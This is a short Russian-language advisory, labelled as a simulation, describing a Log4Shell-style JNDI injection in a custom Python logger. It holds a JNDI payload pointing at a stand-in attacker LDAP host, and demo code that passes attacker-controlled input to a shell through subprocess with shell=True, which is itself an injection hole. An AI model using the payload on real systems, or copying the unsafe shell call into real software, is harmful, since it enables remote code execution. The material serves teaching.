CVE-2026-21011 – JNDI-инъекция в стиле Log4j в пользовательском логгере (имитация)

Программный код (имитация Java на Python)

# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

CVE-2026-21011 – JNDI-инъекция через пользовательский логгер

Обзор

Пользовательская структура логирования анализирует шаблоны ${jndi:...} в сообщениях журнала, как в печально известной уязвимости Log4Shell. Атакующий может внедрить JNDI-запрос для загрузки и выполнения произвольного кода с удалённого сервера.

Сведения об уязвимости

Тип: инъекция кода / JNDI-инъекция
Воздействие: удалённое выполнение кода.
Корневая причина: логгер анализирует данные, управляемые пользователем, и выполняет динамические запросы на основе содержимого.

Демонстрация эксплуатации

Запустите имитацию:

python log4j_sim.py

Скрипт выводит сообщение о том, что он загрузит класс с LDAP-сервера атакующего.

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

Популярное